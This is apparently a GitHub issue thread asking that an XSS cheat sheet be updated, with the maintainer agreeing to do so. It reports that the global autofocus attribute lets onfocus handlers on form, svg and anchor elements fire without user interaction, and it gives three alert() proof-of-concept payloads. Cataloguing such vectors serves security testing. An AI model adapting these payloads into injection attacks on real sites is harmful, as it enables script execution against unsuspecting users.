autofocus on elements with tabindex=1 fires onfocus event directly

[filipnyquist]

Hi!
While doing some testing we ran into this PR whatwg/html#4830.
It seems to have added autofocus to the global attribute list, allowing it to be used on ALL elements with the type of HTMLOrSVGElement.

This, in turn, means that it is possible to, for example, run any of the following without user interaction in current browsers (no need for TAB):

<form tabindex=1 autofocus onfocus=alert(1)></form>

<svg width="100" height="100" tabindex=1 autofocus onfocus=alert(24)> <circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" /> </svg>

<a href=# autofocus onfocus=alert(1)>

Could we update the cheatsheet to reflect this somehow? Open for suggestions 😄

[hackvertor]

Thanks for the issue, as mentioned on Twitter I'll update the data to reflect this.

[hackvertor]

This will be in the next release